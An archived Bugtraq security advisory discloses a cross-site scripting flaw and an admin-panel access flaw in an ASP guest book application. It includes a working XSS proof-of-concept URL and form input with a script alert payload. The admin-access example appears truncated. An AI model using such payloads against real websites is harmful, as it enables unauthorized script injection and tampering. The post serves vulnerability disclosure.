Home page logo

bugtraq logo Bugtraq mailing list archives

Vulnerability in my guest book
From: Over_G <overg () mail ru>
Date: Wed, 27 Mar 2002 18:07:27 +0300

Product: My guest book
Version: ?
OffSite: ?
Problem: CSS and unauthorized access in admin panel

1)Cross Site scripting

http://[target]/myguestBk/add1.asp?name=Name&subject=Subj&email=M () IL&message=<scr*pt>alert ("Test!")</scr*pt>

Or open http://[target]/myguestBk/add.asp and write in "Message" field: 
<scr*pt>alert ("Test!")</scr*pt> and press "Post Message".

2)Unauthorized access in admin panel

Delete news:
with NEWSNUMBER - news number in database.

Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprog () ukr net

Best regards, Over G[DWC Gr0up]

  By Date           By Thread  

Current thread:
  • Vulnerability in my guest book Over_G (Mar 27)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]